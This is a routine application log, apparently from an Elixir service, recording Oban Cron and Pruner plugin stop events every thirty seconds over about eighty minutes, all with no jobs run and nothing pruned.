11:44:00.414 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:44:30.396 [info] {"source":"oban","duration":1597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:00.400 [info] {"source":"oban","duration":2276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:00.414 [info] {"source":"oban","duration":227,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:45:30.402 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:00.404 [info] {"source":"oban","duration":2077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:00.416 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:46:30.407 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:00.410 [info] {"source":"oban","duration":1990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:00.417 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:47:30.413 [info] {"source":"oban","duration":1854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:00.416 [info] {"source":"oban","duration":2232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:00.419 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:48:30.419 [info] {"source":"oban","duration":2235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:00.421 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:49:00.422 [info] {"source":"oban","duration":2210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:30.425 [info] {"source":"oban","duration":1638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:00.423 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:50:00.428 [info] {"source":"oban","duration":2071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:30.431 [info] {"source":"oban","duration":1713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:00.425 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:51:00.432 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:30.435 [info] {"source":"oban","duration":1930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:00.427 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:52:00.436 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:30.439 [info] {"source":"oban","duration":1719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:00.429 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:53:00.442 [info] {"source":"oban","duration":2084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:30.445 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:00.431 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:54:00.448 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:30.451 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:00.433 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:55:00.453 [info] {"source":"oban","duration":1688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:30.456 [info] {"source":"oban","duration":1726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:00.434 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:56:00.459 [info] {"source":"oban","duration":2040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:30.462 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:00.436 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:57:00.465 [info] {"source":"oban","duration":2052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:30.468 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:00.438 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:58:00.470 [info] {"source":"oban","duration":2054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:30.473 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:00.439 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:59:00.476 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:30.478 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:00.441 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:00:00.480 [info] {"source":"oban","duration":1686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:30.483 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:00.443 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:01:00.486 [info] {"source":"oban","duration":2073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:30.489 [info] {"source":"oban","duration":2035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:00.445 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:02:00.492 [info] {"source":"oban","duration":1722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:30.495 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:00.446 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:03:00.498 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:30.501 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:00.448 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:04:00.504 [info] {"source":"oban","duration":2129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:30.507 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:00.450 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:05:00.510 [info] {"source":"oban","duration":2099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:30.513 [info] {"source":"oban","duration":2020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:00.452 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:06:00.516 [info] {"source":"oban","duration":2322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:30.519 [info] {"source":"oban","duration":2218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:00.454 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:07:00.522 [info] {"source":"oban","duration":2084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:30.525 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:00.456 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:08:00.528 [info] {"source":"oban","duration":2127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:30.531 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:00.458 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:09:00.534 [info] {"source":"oban","duration":1947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:30.537 [info] {"source":"oban","duration":2016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:00.459 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:10:00.541 [info] {"source":"oban","duration":2276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:30.543 [info] {"source":"oban","duration":1709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:00.461 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:11:00.546 [info] {"source":"oban","duration":2048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:30.549 [info] {"source":"oban","duration":1640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:00.463 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:12:00.552 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:30.553 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:00.465 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:13:00.556 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:30.559 [info] {"source":"oban","duration":1653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:00.466 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:14:00.562 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:30.564 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:00.468 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:15:00.567 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:30.569 [info] {"source":"oban","duration":2003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:00.469 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:16:00.572 [info] {"source":"oban","duration":1726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:30.576 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:00.471 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:17:00.578 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:30.581 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:00.473 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:18:00.584 [info] {"source":"oban","duration":1904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:30.587 [info] {"source":"oban","duration":2186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:00.475 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:19:00.588 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:30.591 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:00.477 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:20:00.594 [info] {"source":"oban","duration":2034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:30.597 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:00.479 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:21:00.600 [info] {"source":"oban","duration":1971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:30.603 [info] {"source":"oban","duration":1609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:00.481 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:22:00.606 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:30.608 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:00.483 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:23:00.611 [info] {"source":"oban","duration":1962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:30.614 [info] {"source":"oban","duration":2203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:00.485 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:24:00.619 [info] {"source":"oban","duration":3540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:30.621 [info] {"source":"oban","duration":2032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:00.487 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:25:00.624 [info] {"source":"oban","duration":2074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:30.627 [info] {"source":"oban","duration":1938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:00.489 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:26:00.630 [info] {"source":"oban","duration":2037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:30.633 [info] {"source":"oban","duration":1634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:00.491 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:27:00.636 [info] {"source":"oban","duration":2299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:30.639 [info] {"source":"oban","duration":2050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:00.493 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:28:00.642 [info] {"source":"oban","duration":2005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:30.645 [info] {"source":"oban","duration":2251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:00.494 [info] {"source":"oban","duration":117,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:29:00.648 [info] {"source":"oban","duration":1687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:30.651 [info] {"source":"oban","duration":2108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:00.496 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:30:00.655 [info] {"source":"oban","duration":2099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:30.657 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:00.498 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:31:00.659 [info] {"source":"oban","duration":1914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:30.662 [info] {"source":"oban","duration":2202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:00.500 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:32:00.665 [info] {"source":"oban","duration":1744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:30.668 [info] {"source":"oban","duration":1863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:00.502 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:33:00.670 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:30.673 [info] {"source":"oban","duration":1661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:00.502 [info] {"source":"oban","duration":147,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:34:00.676 [info] {"source":"oban","duration":1878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:30.679 [info] {"source":"oban","duration":1782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:00.504 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:35:00.682 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:30.684 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:00.506 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:36:00.686 [info] {"source":"oban","duration":2001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:30.687 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:00.508 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:37:00.689 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:30.689 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:00.510 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:38:00.690 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:30.691 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:00.512 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:39:00.693 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:30.694 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:00.514 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:40:00.695 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:30.696 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:00.516 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:41:00.697 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:30.697 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:00.518 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:42:00.699 [info] {"source":"oban","duration":857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:30.700 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:00.519 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:43:00.702 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:30.703 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:00.521 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:44:00.704 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:30.705 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:00.523 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:45:00.706 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:30.707 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:00.524 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:46:00.710 [info] {"source":"oban","duration":2049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:30.712 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:00.526 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:47:00.714 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:30.714 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:00.528 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:48:00.716 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:30.717 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:00.529 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:49:00.718 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:30.719 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:00.530 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:50:00.720 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:30.721 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:00.530 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:51:00.722 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:30.724 [info] {"source":"oban","duration":1630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:00.532 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:52:00.726 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:30.727 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:00.533 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:53:00.728 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:30.729 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:00.535 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:54:00.731 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:30.732 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:00.537 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:55:00.733 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:30.734 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:00.539 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:56:00.735 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:30.737 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:00.541 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:57:00.738 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:30.740 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:00.543 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:58:00.742 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:30.744 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:00.545 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:59:00.746 [info] {"source":"oban","duration":1064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:30.748 [info] {"source":"oban","duration":934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:00.547 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:00:00.750 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:30.753 [info] {"source":"oban","duration":1689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:00.549 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:01:00.755 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:30.757 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:00.550 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:02:00.760 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:30.762 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:00.552 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:03:00.765 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:30.768 [info] 